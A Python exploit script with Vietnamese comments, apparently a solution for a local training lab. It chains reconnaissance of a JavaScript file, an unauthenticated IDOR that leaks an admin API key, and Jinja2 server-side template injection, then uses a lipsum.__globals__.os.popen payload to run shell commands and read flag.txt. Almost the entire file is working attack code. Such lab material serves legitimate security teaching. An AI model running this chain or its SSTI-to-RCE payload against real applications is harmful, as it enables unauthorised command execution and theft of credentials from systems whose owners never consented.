#!/usr/bin/env python3
"""
Exploit lab 10.1 - chuoi recon -> IDOR -> SSTI -> RCE.

  B0 recon: GET / -> thay tham chieu /static/app.js -> GET app.js
            -> lo endpoint noi bo /api/v2/users/<id>/keys.
  B1 IDOR : GET /api/v2/users/1/keys -> leak admin_api_key.
  B2 SSTI : xac nhan /admin/template/preview render Jinja2 (vd 7*7=49).
  B3 RCE  : payload SSTI chay lenh he thong, doc flag.txt.
"""
import re
import sys
import requests

BASE = "http://127.0.0.1:8076"


def main():
    print("[*] B0 recon: tai trang chu, tim file JS")
    html = requests.get("%s/" % BASE).text
    m = re.search(r'src="([^"]+\.js)"', html)
    js_path = m.group(1)
    print("    thay script: %s" % js_path)
    js = requests.get("%s%s" % (BASE, js_path)).text
    m2 = re.search(r'\$\{API_BASE\}/([a-z/]+)\$\{userId\}/keys', js)
    api_base = re.search(r'API_BASE\s*=\s*"([^"]+)"', js).group(1)
    print("    JS lo endpoint noi bo: %s/users/<id>/keys" % api_base)

    print("\n[*] B1 IDOR: goi endpoint noi bo cho id=1 (admin), khong xac thuc")
    r = requests.get("%s/api/v2/users/1/keys" % BASE)
    keys = r.json()
    admin_key = keys.get("admin_api_key")
    print("    HTTP %d -> %s" % (r.status_code, keys))
    print("    [+] leak admin_api_key = %s" % admin_key)

    print("\n[*] B2 SSTI: xac nhan template injection (7*7)")
    h = {"X-Admin-Key": admin_key}
    r = requests.post("%s/admin/template/preview" % BASE, headers=h,
                      json={"template": "{{7*7}}"})
    print("    render '{{7*7}}' -> %s" % r.json())
    confirmed = r.json().get("rendered") == "49"

    print("\n[*] B3 RCE: payload Jinja2 chay lenh he thong + doc flag.txt")
    payload = "{{ lipsum.__globals__.os.popen('id; echo ---; cat flag.txt').read() }}"
    r = requests.post("%s/admin/template/preview" % BASE, headers=h,
                      json={"template": payload})
    out = r.json().get("rendered", "")
    print("    payload = %s" % payload)
    print("    --- output lenh tren server ---")
    for line in out.strip().splitlines():
        print("    " + line)

    flag = ""
    for line in out.splitlines():
        if line.startswith("FLAG{"):
            flag = line.strip()
    print("\n[+] Chuoi hoan tat. Flag: %s" % flag)
    ok = confirmed and admin_key and flag.startswith("FLAG{")
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()
